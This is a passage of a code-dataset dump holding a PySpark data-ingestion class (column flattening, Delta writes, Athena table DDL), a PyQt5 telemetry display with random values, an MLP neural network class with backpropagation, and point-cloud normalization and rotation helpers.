columns_to_be_skipped.extend(\n [\n column[0]\n for column in df.dtypes\n if self.column_datatype(column).startswith(\"struct\")\n ]\n )\n\n if self.flatten_conf[\"columns_to_be_skipped\"]:\n columns_to_be_skipped.extend(\n self.flatten_conf[\"columns_to_be_skipped\"]\n )\n\n self.log.info(\n f\"Columns to be skipped while flattening: \"\n f\"{columns_to_be_skipped if columns_to_be_skipped else None}\"\n )\n\n for column in df.dtypes:\n column_name = column[0]\n if column_name in columns_to_be_skipped and (\n self.column_datatype(column).startswith(\"array DataFrame:\n \"\"\"Sorts the column in alphabetical order for better readability\n Args:\n df(DataFrame): flattened dataframe\n Returns:\n df(DataFrame): flattened dataframe after sorting columns\n \"\"\"\n if self.cols_to_front:\n self.log.info(f\"Column to be moved to front: {self.cols_to_front}\")\n remaining_columns = list(\n set([f\"`{column}`\" for column in df.columns])\n - set([f\"`{column}`\" for column in self.cols_to_front])\n )\n df = df.select(*self.cols_to_front, *sorted(remaining_columns))\n else:\n df = df.select(sorted(df.columns))\n self.log.info(\"Column sorting complete\")\n return df\n\n def renameColumnNames(self, df: DataFrame) -> DataFrame:\n \"\"\"1. Renames the column names based on column_mapping parameter\n 2. Renames the flattened column names into readable names if required\n Args:\n df(DataFrame): flattened dataframe\n Returns:\n df(DataFrame): flattened dataframe after renaming\n \"\"\"\n\n def replaceSpecialCharacters(column_name):\n \"\"\"Replaces special characters in the column names\n Args:\n column_name(str): column name in which the special\n characters have to be replaced\n Returns:\n column_name(str): column name after replacing\n special characters\n \"\"\"\n\n column_name = (\n column_name.replace(\"-\", \"_\")\n .replace(\"(\", \"\")\n .replace(\")\", \"\")\n .replace(\"%\", \"percent\")\n .replace(\" \", \"_\")\n .replace(\".\", \"\")\n .replace(\"$\", \"\")\n .replace(\"/\", \"_\")\n .lower()\n )\n return column_name\n\n updated_column_names_dict = {}\n if self.keep_parent_names == \"Y\":\n for column in df.columns:\n updated_column_names_dict[column] = replaceSpecialCharacters(\n column.replace(\"__\", \"_\")\n )\n else:\n self.log.info(\"Removing parent names from the column names\")\n remaining_columns = df.columns\n i = 1\n while remaining_columns:\n innermost_column_name = [\n \"_\".join(column.split(\"__\")[-i:]).lower()\n for column in remaining_columns\n ]\n duplicate_column_names = list(\n set(\n [\n name\n for name in innermost_column_name\n if innermost_column_name.count(name) > 1\n ]\n )\n )\n temp_list = [\n x\n for x in remaining_columns\n for y in duplicate_column_names\n if \"_\".join(x.split(\"__\")[-i:]).lower() == y\n ]\n for column in list(set(remaining_columns) - set(temp_list)):\n updated_column_names_dict[\n column\n ] = replaceSpecialCharacters(\n \"_\".join(column.split(\"__\")[-i:])\n )\n\n remaining_columns = temp_list\n i += 1\n column_dict = (\n {**(updated_column_names_dict), **(self.rename_col_mapping)}\n if self.rename_col_mapping\n else updated_column_names_dict\n )\n for k, v in column_dict.items():\n df = df.withColumnRenamed(k, v)\n self.log.info(\"Column renaming complete\")\n return df\n\n def _deltaDeleteLoad(\n self, df: DataFrame, op_path: str, join_col: list\n ) -> None:\n \"\"\"_deltaDeleteLoad implements the delete and load using delta table\n Args:\n df: initial/incremental dataframe\n op_path: output s3 path for write delta table\n join_col: column(s) which must be used for deleting in delta table\n \"\"\"\n join_cond = \"\"\n for column in join_col:\n join_cond = (\n join_cond + \"delta.\" + column + \" = \" + \"updates.\" + column\n )\n if column != join_col[-1]:\n join_cond = join_cond + \" and \"\n if self.path_exists(self.sc, op_path):\n delta_data = DeltaTable.forPath(self.spark, op_path)\n delta_data.alias(\"delta\").merge(\n df.alias(\"updates\"), join_cond\n ).whenMatchedDelete().execute()\n delta_data.vacuum(0)\n if self.partition_flag == \"Y\":\n df.write.format(\"delta\").partitionBy(\n self.partition_col\n ).option(\"mergeSchema\", \"true\").mode(\"append\").save(op_path)\n else:\n df.write.format(\"delta\").option(\"mergeSchema\", \"true\").mode(\n \"append\"\n ).save(op_path)\n else:\n if self.partition_flag == \"Y\":\n df.write.format(\"delta\").partitionBy(self.partition_col).mode(\n \"append\"\n ).save(op_path)\n else:\n df.write.format(\"delta\").mode(\"append\").save(op_path)\n\n def _writeData(\n self,\n df: DataFrame,\n op_path: str,\n op_filetype: str,\n write_mode: str\n ) -> None:\n \"\"\"_writeData implements write to s3 path in append/overwrite mode\n Args:\n df: dataframe which has to be written to s3\n op_path: output s3 path\n op_filetype: output file type parquet/json/csv\n write_mode: used to control the data append or overwrite in s3\n \"\"\"\n if self.path_exists(self.sc, op_path):\n opts = {\"mergeSchema\": \"true\"}\n else:\n write_mode = \"overwrite\"\n opts = {\"overwriteSchema\": \"true\"}\n if self.partition_flag == \"Y\" and \"partition_col\" not in self.config:\n df.write.format(op_filetype).partitionBy(\"de_created_dt\").mode(\n write_mode\n ).options(**opts).save(op_path)\n elif self.partition_flag == \"Y\" and \"partition_col\" in self.config:\n df.write.format(op_filetype).partitionBy(self.partition_col).mode(\n write_mode\n ).options(**opts).save(op_path)\n elif self.partition_flag == \"N\":\n df.write.format(op_filetype).mode(write_mode).options(**opts).save(\n op_path\n )\n\n def _writeDeltaUpsert(\n self, df: DataFrame, op_path: str, join_cols: list\n ) -> None:\n \"\"\"_writeDeltaUpsert implements delta format upsert must be used for id\n specific update and insert\n Args:\n df: input dataframe for which upsert has to be done\n op_path: output s3 path\n join_cols: list of columns used for joining\n \"\"\"\n join_cond = \"\"\n for column in join_cols:\n join_cond = (\n join_cond + \"delta.\" + column + \" = \" + \"updates.\" + column\n )\n if column != join_cols[-1]:\n join_cond = join_cond + \" and \"\n if self.path_exists(self.sc, op_path):\n delta_data = DeltaTable.forPath(self.spark, op_path)\n delta_data.alias(\"delta\").merge(\n df.alias(\"updates\"), join_cond\n ).whenMatchedUpdateAll().whenNotMatchedInsertAll().execute()\n delta_data.vacuum(0)\n else:\n df.write.format(\"delta\").mode(\"overwrite\").save(op_path)\n\n def writeOutput(self, df: DataFrame) -> DataFrame:\n \"\"\"writeOutput implements the write of dataframe object to s3 path\n Args:\n df: input dataframe\n Returns:\n input dataframe passed after writing the output\n \"\"\"\n assert self.op_filetype in [\n \"parquet\",\n \"json\",\n \"csv\",\n \"delta\",\n ], \"Invalid output_file_type\"\n assert self.op_write_mode in [\n \"overwrite\",\n \"append\",\n \"upsert\",\n \"delete_load\",\n ], \"Invalid output_write_type\"\n if self.config.get(\"custom_datatype\", False) and self.op_write_mode in (\"append\", \"csv\"):\n table_struc = self.spark.sql(\n f\"\"\"SELECT * FROM\n {self.athena_db_name}.{self.athena_table_name} WHERE 1 = 2\n \"\"\"\n )\n new_columns = list(set(df.dtypes) - set(table_struc.dtypes))\n table_cols = table_struc.columns\n for col, dtype in new_columns:\n if col in table_cols:\n raise Exception(f\"{col} datatype change occured to {dtype}\")\n if self.op_filetype in [\n \"parquet\",\n \"json\",\n \"csv\",\n ] and self.op_write_mode in [\n \"overwrite\",\n \"append\",\n ]:\n self._writeData(\n df, self.op_path, self.op_filetype, self.op_write_mode\n )\n\n if self.op_filetype == \"delta\" and self.op_write_mode == \"upsert\":\n self._writeDeltaUpsert(df, self.op_path, self.join_cols)\n\n if self.op_filetype == \"delta\" and self.op_write_mode == \"delete_load\":\n self._deltaDeleteLoad(df, self.op_path, self.join_cols)\n return df\n\n def _createTable(\n self, table_dtypes: list, db: str, table_name: str, op_path: str\n ) -> None:\n \"\"\"_createTable implements athena DDL logic drop and create table\n Args:\n table_cols: list of column names from the dataframe\n db: Athena db name\n table_name: Athena table name\n op_path: s3 path where file exists\n \"\"\"\n if self.partition_flag == \"Y\":\n table_dtypes = [(x,y) for x,y in table_dtypes if x!=self.partition_col]\n query_str = \"\"\n query_format = \"{table_col} {table_dtype},\" if self.config.get(\"custom_datatype\",False) else \"{table_col} string,\"\n for table_col, table_dtype in table_dtypes:\n query_str += query_format.format(table_col=table_col,table_dtype=table_dtype)\n self.spark.sql(f\"DROP TABLE IF EXISTS {db}.{table_name}\")\n if self.partition_flag == \"Y\":\n self.spark.sql(\n f\"\"\"CREATE EXTERNAL TABLE {db}.{table_name}\n ({query_str[:-1]})\n PARTITIONED BY\n ({self.partition_col} {self.partition_col_dtype})\n STORED AS PARQUET\n LOCATION '{op_path}'\n \"\"\"\n )\n else:\n self.spark.sql(\n f\"\"\"CREATE EXTERNAL TABLE {db}.{table_name}\n ({query_str[:-1]})\n STORED AS PARQUET\n LOCATION '{op_path}'\n \"\"\"\n )\n self.spark.sql(f\"REFRESH TABLE {db}.{table_name}\")\n\n def athenaTableDDL(self, df: DataFrame) -> None:\n \"\"\"athenaTableDDL create table if not exists and helps in checking\n if there are any new columns added to the dataframe\n Args:\n df: Dataframe incremental/full for which table has to be\n created new or column changes that has to be made\n \"\"\"\n df_cols = df.columns\n df_dtypes = df.dtypes\n if not self.spark._jsparkSession.catalog().tableExists(\n self.athena_db_name, self.athena_table_name\n ):\n self._createTable(\n df_dtypes,\n self.athena_db_name,\n self.athena_table_name,\n self.op_path,\n )\n else:\n table_struc = self.spark.sql(\n f\"\"\"SELECT * FROM\n {self.athena_db_name}.{self.athena_table_name} WHERE 1 = 2\n \"\"\"\n )\n new_columns = list(set(df_cols) - set(table_struc.columns))\n if new_columns:\n final_cols_dtype = df_dtypes + [\n i for i in table_struc.dtypes if i[0] in new_columns\n ]\n self._createTable(\n final_cols_dtype,\n self.athena_db_name,\n self.athena_table_name,\n self.op_path,\n )\n\n def athenaRefreshPartitions(self) -> None:\n \"\"\"athenaRefreshPartitions helper method to setup the athena_conf\n and call the athena_refresh_partitions method\n \"\"\"\n athena_conf = [\n [\n self.athena_db_name,\n self.athena_table_name,\n self.op_path.split(\"/\")[2],\n '/'.join(self.op_path.split(\"/\")[3:]),\n self.partition_col\n ]\n ]\n self.athena_refresh_partitions(\n self.sc,\n self.utilsPath,\n self.region,\n self.athena_s3_staging_dir,\n athena_conf,\n self.log\n )\n\n def dateCast(self, df: DataFrame) -> DataFrame:\n \"\"\"Cast date column which are not in date format to datetime formats\"\"\"\n df_cols = df.columns\n for conf in self.config.get(\"date_cast_conf\", []):\n column, conversion = conf[\"column\"], conf[\"conversion\"]\n if column not in df_cols:\n continue\n if conversion==\"mongo\":\n df = df.withColumn(column, f.from_unixtime(f.col(column) / 1000).cast(TimestampType()))\n return df\n","repo_name":"surya18091997/personal","sub_path":"ingestion_pipeline_pyspark.py","file_name":"ingestion_pipeline_pyspark.py","file_ext":"py","file_size_in_byte":20628,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"15316107108","text":"#ArayuzDeneme12 başarılı veri alınıyor\nimport sys\nimport random\nfrom PyQt5.QtWidgets import QApplication, QMainWindow, QWidget, QHBoxLayout, QVBoxLayout, QLabel, QFrame, QLineEdit, QGridLayout\nfrom PyQt5.QtCore import QTimer\n\nclass MainWindow(QMainWindow):\n def __init__(self):\n super().__init__()\n self.setGeometry(100, 100, 600, 400)\n self.setWindowTitle(\"Bozdoğan Yazılım\")\n\n # Main widget to contain the three widgets horizontally\n main_widget = QWidget(self)\n self.setCentralWidget(main_widget)\n\n # Horizontal layout for the three widgets\n layout = QHBoxLayout(main_widget)\n\n layout.setSpacing(20)\n\n self.widget1 = self.create_sistem_widget(\"ANA SİSTEM:\")\n self.widget2 = self.create_sistem_widget(\"YEDEK SİSTEM:\")\n self.widget3 = self.create_sistem_widget(\"FAYDALI YÜK:\")\n\n layout.addWidget(self.widget1)\n layout.addWidget(self.widget2)\n layout.addWidget(self.widget3)\n\n # Set up timer to update values every second\n self.timer = QTimer(self)\n self.timer.timeout.connect(self.update_values)\n self.timer.start(1000)\n\n def create_sistem_widget(self, sistem_adi):\n frame = QFrame()\n frame.setFrameStyle(QFrame.Box | QFrame.Plain)\n layout = QGridLayout(frame)\n\n label = QLabel(sistem_adi)\n label.setStyleSheet(\"font-weight: bold\")\n\n layout.addWidget(label, 0, 0)\n\n ana_paket = QLineEdit()\n ana_paket.setReadOnly(True)\n ana_paket.setObjectName(\"paket\")\n layout.addWidget(QLabel(\"Paket (m):\"), 1, 0)\n layout.addWidget(ana_paket, 1, 1)\n\n ana_ivme = QLineEdit()\n ana_ivme.setReadOnly(True)\n ana_ivme.setObjectName(\"ivme\")\n layout.addWidget(QLabel(\"İvme (m/s²):\"), 2, 0)\n layout.addWidget(ana_ivme, 2, 1)\n\n ana_irtifa = QLineEdit()\n ana_irtifa.setReadOnly(True)\n ana_irtifa.setObjectName(\"irtifa\")\n layout.addWidget(QLabel(\"İrtifa (m):\"), 3, 0)\n layout.addWidget(ana_irtifa, 3, 1)\n\n ana_sicaklik = QLineEdit()\n ana_sicaklik.setReadOnly(True)\n ana_sicaklik.setObjectName(\"sicaklik\")\n layout.addWidget(QLabel(\"Sıcaklık (°C):\"), 4, 0)\n layout.addWidget(ana_sicaklik, 4, 1)\n\n ana_nem = QLineEdit()\n ana_nem.setReadOnly(True)\n ana_nem.setObjectName(\"nem\")\n layout.addWidget(QLabel(\"Nem (%):\"), 5, 0)\n layout.addWidget(ana_nem, 5, 1)\n\n frame.setLayout(layout)\n\n return frame\n\n def update_values(self):\n # Generate random values for each parameter\n faydali_yuk_paket = round(random.uniform(0, 10), 2)\n faydali_yuk_ivme = round(random.uniform(0, 5), 2)\n faydali_yuk_irtifa = round(random.uniform(0, 500), 2)\n faydali_yuk_sicaklik = round(random.uniform(-50, 50), 2)\n faydali_yuk_nem = round(random.uniform(0, 100), 2)\n\n ana_sistem_paket = round(random.uniform(0, 10), 2)\n ana_sistem_ivme = round(random.uniform(0, 5), 2)\n ana_sistem_irtifa = round(random.uniform(0, 500), 2)\n ana_sistem_sicaklik = round(random.uniform(-50, 50), 2)\n ana_sistem_nem = round(random.uniform(0, 100), 2)\n\n yedek_sistem_paket = round(random.uniform(0, 10), 2)\n yedek_sistem_ivme = round(random.uniform(0, 5), 2)\n yedek_sistem_irtifa = round(random.uniform(0, 500), 2)\n yedek_sistem_sicaklik = round(random.uniform(-50, 50), 2)\n yedek_sistem_nem = round(random.uniform(0, 100), 2)\n\n # Update the values in the UI\n self.widget1.findChild(QLineEdit, \"paket\").setText(str(ana_sistem_paket))\n self.widget1.findChild(QLineEdit, \"ivme\").setText(str(ana_sistem_ivme))\n self.widget1.findChild(QLineEdit, \"irtifa\").setText(str(ana_sistem_irtifa))\n self.widget1.findChild(QLineEdit, \"sicaklik\").setText(str(ana_sistem_sicaklik))\n self.widget1.findChild(QLineEdit, \"nem\").setText(str(ana_sistem_nem))\n\n self.widget2.findChild(QLineEdit, \"paket\").setText(str(yedek_sistem_paket))\n self.widget2.findChild(QLineEdit, \"ivme\").setText(str(yedek_sistem_ivme))\n self.widget2.findChild(QLineEdit, \"irtifa\").setText(str(yedek_sistem_irtifa))\n self.widget2.findChild(QLineEdit, \"sicaklik\").setText(str(yedek_sistem_sicaklik))\n self.widget2.findChild(QLineEdit, \"nem\").setText(str(yedek_sistem_nem))\n\n self.widget3.findChild(QLineEdit, \"paket\").setText(str(faydali_yuk_paket))\n self.widget3.findChild(QLineEdit, \"ivme\").setText(str(faydali_yuk_ivme))\n self.widget3.findChild(QLineEdit, \"irtifa\").setText(str(faydali_yuk_irtifa))\n self.widget3.findChild(QLineEdit, \"sicaklik\").setText(str(faydali_yuk_sicaklik))\n self.widget3.findChild(QLineEdit, \"nem\").setText(str(faydali_yuk_nem))\n\n\nif __name__ == \"__main__\":\n app = QApplication(sys.argv)\n window = MainWindow()\n window.show()\n sys.exit(app.exec_())\n\n# bu dosyayı deneme03 dosyasına ekle","repo_name":"HakanAknc/Python_Pyqt5_SerialPort_Interface","sub_path":"Python_Yeni/ArayuzEkleme/ArayuzDeneme12.py","file_name":"ArayuzDeneme12.py","file_ext":"py","file_size_in_byte":5012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"38377974841","text":"\"\"\"\nQuesto file contiene la classe MLP preposta ad implementare la rete neurale;\n- Ogni elemento e Vettoriazzato\n- Non necessita di classi come Neuron o Layers\n- Usa le classi/file: Utility & ActivationFunction\n- MLP avra un bool per effettuare operazioni di classificazione oppure di regressione: classification\n\n\"\"\"\nimport sys\nsys.path.append(\"../\")\n\nfrom Trainers.TrainBackprop import *\n\nclass MLP:\n \"Costruttore classe con stati; NOTA: Inseriti Pesi con bias\"\n \"\"\"\n :param n_feature : Numero di features\n :param n_hidden : Numero neuroni nell'hidden layer\n :param n_output : Numero neuroni nell'output layer\n :param activation_h : Funzione di attivazione dell'hidden layer\n :param activation_o : Funzione di attivazione dell'output layer\n :param eta : Learning rate\n :param lambd : Penalty term\n :param alfa : Momentum\n :param fan_in_h : Se true, usa il fan in nell'hidden layer per inizializzare i pesi\n :param range_start_h, range_end_h : I pesi nell'hidden layer sono inizializzati con valori in [range_start_h, range_end_h]\n :param fan_in_o : Se true, usa il fan in nell'output layer per inizializzare i pesi\n :param range_start_h, range_end_h : I pesi nell'output layer sono inizializzati con valori in \n [range_start_o,range_end_o]\n \n :param classification: Se true, mlp deve risolvere un problema di classificazione(usato per sapere se\n riempire lista di accuracy o di MEE)\n :param trainer: Indica quale algoritmo di ottimizzazione usare per la fase di training\n \n \"\"\"\n def __init__(self, n_feature, n_hidden, n_output, activation_h, activation_o, eta=0.1, lambd=0, alfa=0.75,\n fan_in_h=True, range_start_h=-0.7, range_end_h=0.7, fan_in_o=True, range_start_o=-0.7, range_end_o=0.7,\n classification=True,trainer = TrainBackprop()):\n # Valori scalari\n # self.n_input = n_input # righe di X\n self.n_feature = n_feature # colonne di X, oppure neuroni input\n self.n_hidden = n_hidden\n self.n_output = n_output\n\n # Vettorizzato: Matrici\n ## NOTA: Indico gli indici delle dimensioni delle matrici/vettori\n self.W_h = init_Weights(n_hidden, n_feature, fan_in_h, range_start_h,\n range_end_h) # (n_neuroni_h x n_feature +1)\n self.W_o = init_Weights(n_output, n_hidden, fan_in_o, range_start_o,\n range_end_o) # (n_neuroni_o x n_neuroni_h +1)\n self.Out_h = None # (n_esempi x n_neuroni_h)\n self.Out_o = None # (n_esempi x n_neuroni_o) //Per Monk un vettore\n self.Net_h = None # (n_esempi x n_neuroni_h)\n self.Net_o = None # (n_esempi x n_neuroni_o) //Per Monk un vettore\n\n # Si specifica il tipo di f. attivazione dei neuroni\n self.activation_h = activation_h\n self.activation_o = activation_o\n\n # Hyperparameter!\n self.eta = eta # learning rate\n self.lambd = lambd # regolarizzazione-penalityTerm\n self.alfa = alfa # momentum\n\n # Lista per avere il plot LC, Accuracy(class->(N-num_err)/N), regress->MEE\n self.errors_tr = [] # MSE/num_epoche sul TR\n self.accuracies_tr = [] # Accuracy/num_epoche sul TR\n self.errors_vl = [] # MSE/num_epoche sul VL\n self.accuracies_vl = [] # Accuracy/num_epoche sul VL\n self.errors_mee_tr = [] # MEE sul TR\n self.errors_mee_vl = [] # MEE sulla VL\n\n self.gradients = [] #Lista dei gradienti\n\n # Servono nella fase di train->backperopagation; delta vecchio dei pesi hidden e output\n self.dW_o_old = np.zeros(self.W_o.shape)\n self.dW_h_old = np.zeros(self.W_h.shape)\n\n # Bool per Classificazione/Regressione\n self.classification = classification\n\n self.trainer = trainer\n\n \"FeedFoward: X con bias\"\n\n def feedforward(self, X):\n # Calcolo hidden layer\n self.Net_h = np.dot(X, self.W_h.T)\n self.Out_h = self.activation_h.compute_function(self.Net_h) # Output_h=f(Net_h)\n\n # Calcolo output layer\n Out_h_bias = addBias(self.Out_h)\n self.Net_o = np.dot(Out_h_bias, self.W_o.T)\n self.Out_o = self.activation_o.compute_function(\n self.Net_o) # Output_o=f(Net_o)=>Classificazione rete; Per Monk vettore\n\n \"Backpropagation: X con bias\"\n\n def backpropagation(self, X, T):\n assert T.shape == self.Out_o.shape\n\n # Calcolo della f'(Net_o), calcolo delta_neuroneOutput, calcolo delta peso\n ## NOTA: vedere slide Backprop.\n grad_f_o = self.activation_o.compute_function_gradient(self.Out_o)\n diff = (T - self.Out_o)\n delta_o = np.multiply(diff, grad_f_o) # elemento-per-elemento\n Out_h_bias = addBias(self.Out_h)\n delta_W_o = np.dot(delta_o.T, Out_h_bias)\n\n # Calcolo della f'(Net_h), calcolo delta_o*pesi_interessati, calcolo delta hidden layer\n ## NOTA: vedere slide Backprop.\n grad_f_h = self.activation_h.compute_function_gradient(self.Out_h)\n W_o_nobias = removeBias(self.W_o)\n sp_h = np.dot(delta_o, W_o_nobias)\n delta_h = np.multiply(sp_h, grad_f_h) # elemento-per-elemento\n delta_W_h = np.dot(delta_h.T, X)\n\n return delta_W_o / X.shape[0], delta_W_h / X.shape[0]\n\n\n \"Classificazione: predizione\"\n\n def predict_class(self, X, treshold=0.5):\n self.feedforward(X)\n predictions = np.zeros(self.Out_o.shape)\n predictions[self.Out_o >= treshold] = 1\n return predictions\n\n \"Regressione: predizione\"\n\n def predict_value(self, X):\n self.feedforward(X)\n return self.Out_o\n","repo_name":"michelefontana92/ProgettoML-Vettorizzato","sub_path":"MLP/MLP.py","file_name":"MLP.py","file_ext":"py","file_size_in_byte":5701,"program_lang":"python","lang":"it","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11820290712","text":"import mxnet as mx\nimport numpy as np\nimport time\nimport random\n# import subprocess\nfrom datetime import datetime\nimport matplotlib.pyplot as plt\n\n\n# from mpl_toolkits.mplot3d import Axes3D\n\n\n\ndef normalize_point_cloud_square(pc, double_axis=None):\n \"\"\"\n Normalize a point cloud: mean-shift + variance\n Input: Nx3 point cloud\n Return: Nx3 normalized\n \"\"\"\n centerArray = np.mean(pc, axis=0)\n pc = pc - centerArray\n maxdim = np.max(np.abs(pc), axis=0)\n if double_axis is not None:\n maxdim[double_axis] = maxdim[double_axis] * 0.5\n maxdim = np.max(maxdim)\n pc = pc / np.maximum(1e-5, maxdim)\n return pc\n\ndef normalize_point_cloud_square_noy(pc, double_axis=None):\n \"\"\"\n Normalize a point cloud: mean-shift + variance\n Input: Nx3 point cloud\n Return: Nx3 normalized\n \"\"\"\n centerArray = np.mean(pc, axis=0)\n pc = pc - centerArray\n maxdim = np.max(np.abs(pc), axis=0)\n if double_axis is not None:\n maxdim[double_axis] = maxdim[double_axis] * 0.5\n maxdim = np.max(maxdim)\n safe_maxdim = np.maximum(1e-5, maxdim)\n pc = pc / safe_maxdim\n pc[:, 1] = pc[:, 1] + centerArray[1] / safe_maxdim\n return pc\n\n\ndef normalize_point_cloud(pc, double_axis=None):\n \"\"\"\n Normalize a point cloud: mean-shift + variance\n Input: Nx3 point cloud\n Return: Nx3 normalized\n \"\"\"\n centroid = np.mean(pc, axis=0)\n pc = pc - centroid\n if double_axis is not None:\n pc[:, double_axis] = pc[:, double_axis] * 0.5\n m = np.max(np.sqrt(np.sum(pc ** 2, axis=1)))\n pc = pc / np.maximum(1e-5, m)\n if double_axis is not None:\n pc[:, double_axis] = pc[:, double_axis] * 2\n return pc\n\ndef normalize_point_cloud_noy(pc):\n \"\"\"\n Normalize a point cloud: mean-shift + variance\n Input: Nx3 point cloud\n Return: Nx3 normalized\n \"\"\"\n centroid = np.mean(pc, axis=0)\n pc = pc - centroid\n m = np.max(np.sqrt(np.sum(pc ** 2, axis=1)))\n safe_m = np.maximum(1e-5, m)\n pc = pc / safe_m\n pc[:,1] = pc[:,1] + centroid[1] / safe_m\n return pc\n\ndef normalize_point_cloud_in_scope(pc_batch):\n \"\"\"\n Normalize a point cloud: mean-shift + variance\n Input: Nx3 point cloud\n Return: Nx3 normalized\n \"\"\"\n maxdim_batch = np.max(np.abs(pc_batch), axis=(1,2), keepdims=True)\n if np.max(maxdim_batch) > 1:\n pc_batch = pc_batch / np.maximum(1e-5, maxdim_batch)\n return pc_batch\n\ndef normalize_point_cloud_batch(pc_batch):\n \"\"\"\n Normalize a point cloud: mean-shift + variance\n Input: BXNx3 point cloud\n Return: BXNx3 normalized\n \"\"\"\n centroid_batch = np.mean(pc_batch, axis=1, keepdims=True)\n pc_batch = pc_batch - centroid_batch\n m_batch = np.max(np.sqrt(np.sum(pc_batch ** 2, axis=2, keepdims=True)), axis=1, keepdims=True)\n pc_batch = pc_batch / np.maximum(1e-5, m_batch)\n return pc_batch\n\n\ndef normalize_point_cloud_batch_square(pc_batch):\n \"\"\"\n Normalize a point cloud: mean-shift + variance\n Input: Nx3 point cloud\n Return: Nx3 normalized\n \"\"\"\n centerArray_batch = np.mean(pc_batch, axis=1, keepdims=True)\n pc_batch = pc_batch - centerArray_batch\n maxdim_batch = np.max(np.abs(pc_batch), axis=(1,2), keepdims=True)\n pc_batch = pc_batch / np.maximum(1e-5, maxdim_batch)\n return pc_batch\n\n\ndef normalize_point_cloud_batch_noy(pc_batch):\n \"\"\"\n Normalize a point cloud: mean-shift + variance\n Input: BXNx3 point cloud\n Return: BXNx3 normalized\n \"\"\"\n centroid_batch = np.mean(pc_batch, axis=1, keepdims=True)\n pc_batch = pc_batch - centroid_batch\n m_batch = np.max(np.sqrt(np.sum(pc_batch ** 2, axis=2, keepdims=True)), axis=1, keepdims=True)\n safe_m = np.maximum(1e-5, m_batch)\n pc_batch = pc_batch / safe_m\n # print(centroid_batch[:,:,2].shape, safe_m.shape)\n pc_batch[:, :, 1] = pc_batch[:, :, 1] + centroid_batch[:,:,1] / safe_m[:,0]\n return pc_batch\n\n\ndef normalize_point_cloud_batch_square_noy(pc_batch):\n \"\"\"\n Normalize a point cloud: mean-shift + variance\n Input: Nx3 point cloud\n Return: Nx3 normalized\n \"\"\"\n centerArray_batch = np.mean(pc_batch, axis=1, keepdims=True)\n pc_batch = pc_batch - centerArray_batch\n maxdim_batch = np.max(np.abs(pc_batch), axis=(1,2), keepdims=True)\n safe_maxdim = np.maximum(1e-5, maxdim_batch)\n pc_batch = pc_batch / safe_maxdim\n pc_batch[:, :, 1] = pc_batch[:, :, 1] + centerArray_batch[..., 1] / safe_maxdim[:,0,[0]]\n return pc_batch\n\ndef normalize_point_cloud_param(pc):\n \"\"\"\n Normalize a point cloud: mean-shift + variance\n Input: Nx3 point cloud\n Return: Nx3 normalized\n \"\"\"\n l = pc.shape[0]\n centroid = np.mean(pc, axis=0)\n pc = pc - centroid\n m = np.max(np.sqrt(np.sum(pc ** 2, axis=1)))\n pc = pc / m\n return pc, centroid, m\n\n\ndef rotate_point_cloud(batch_data):\n \"\"\"\n Randomly rotate the point clouds around y axis to augument the dataset\n rotation is per shape based along up direction\n Input:\n BxNx3 array, original batch of point clouds\n Return:\n BxNx3 array, rotated batch of point clouds\n \"\"\"\n rotated_data = np.zeros(batch_data.shape, dtype=np.float32)\n for k in range(batch_data.shape[0]):\n rotation_angle = np.random.uniform() * 2 * np.pi\n cosval = np.cos(rotation_angle)\n sinval = np.sin(rotation_angle)\n rotation_matrix = np.array([[cosval, 0, sinval],\n [0, 1, 0],\n [-sinval, 0, cosval]])\n shape_pc = batch_data[k, ...]\n rotated_data[k, ...] = np.dot(shape_pc.reshape((-1, 3)), rotation_matrix)\n return rotated_data\n\n\ndef rotate_point_cloud_z(batch_data):\n \"\"\"\n Randomly rotate the point clouds around z axis to augument the dataset\n rotation is per shape based along up direction\n Input:\n BxNx3 array, original batch of point clouds\n Return:\n BxNx3 array, rotated batch of point clouds\n \"\"\"\n center = batch_data.mean(axis=1, keepdims=True)\n batch_data = batch_data - center\n rotated_data = np.zeros(batch_data.shape, dtype=np.float32)\n for k in range(batch_data.shape[0]):\n rotation_angle = np.random.uniform() * 2 * np.pi\n cosval = np.cos(rotation_angle)\n sinval = np.sin(rotation_angle)\n rotation_matrix = np.array([[cosval, -sinval, 0],\n [sinval, cosval, 0],\n [0, 0, 1]])\n shape_pc = batch_data[k, ...]\n rotated_data[k, ...] = np.dot(shape_pc.reshape((-1, 3)), rotation_matrix)\n rotated_data = rotated_data + center\n return rotated_data\n\n\ndef rotate_point_cloud_y(batch_data):\n \"\"\"\n Randomly rotate the point clouds around z axis to augument the dataset\n rotation is per shape based along up direction\n Input:\n BxNx3 array, original batch of point clouds\n Return:\n BxNx3 array, rotated batch of point clouds\n \"\"\"\n center = batch_data.mean(axis=1, keepdims=True)\n batch_data = batch_data - center\n rotated_data = np.zeros(batch_data.shape, dtype=np.float32)\n for k in range(batch_data.shape[0]):\n rotation_angle = np.random.uniform() * 2 * np.pi\n cosval = np.cos(rotation_angle)\n sinval = np.sin(rotation_angle)\n rotation_matrix = np.array([[cosval, 0, sinval],\n [0, 1, 0],\n [-sinval, 0, cosval]])\n shape_pc = batch_data[k, ...]\n rotated_data[k, ...] = np.dot(shape_pc.reshape((-1, 3)), rotation_matrix)\n rotated_data = rotated_data + center\n return rotated_data\n\n\ndef rotate_point_cloud_by_angle(batch_data, rotation_angle):\n \"\"\"\n Rotate the point cloud along up direction with certain angle.\n Input:\n BxNx3 array, original batch of point clouds\n Return:\n BxNx3 array, rotated batch of point clouds\n \"\"\"\n rotated_data = np.zeros(batch_data.shape, dtype=np.float32)\n for k in range(batch_data.shape[0]):\n # rotation_angle = np.random.uniform() * 2 * np.pi\n cosval = np.cos(rotation_angle)\n sinval = np.sin(rotation_angle)\n rotation_matrix = np.array([[cosval, 0, sinval],\n [0, 1, 0],\n [-sinval, 0, cosval]])\n shape_pc = batch_data[k, :, 0:3]\n rotated_data[k, :, 0:3] = np.dot(shape_pc.reshape((-1, 3)), rotation_matrix)\n return rotated_data\n\n\ndef rotate_point_cloud_by_angle_with_normal(batch_data, rotation_angle):\n \"\"\"\n Rotate the point cloud along up direction with certain angle.\n Input:\n BxNx3 array, original batch of point clouds\n Return:\n BxNx3 array, rotated batch of point clouds\n \"\"\"\n rotated_data = np.zeros(batch_data.shape, dtype=np.float32)\n for k in range(batch_data.shape[0]):\n # rotation_angle = np.random.uniform() * 2 * np.pi\n cosval = np.cos(rotation_angle)\n sinval = np.sin(rotation_angle)\n 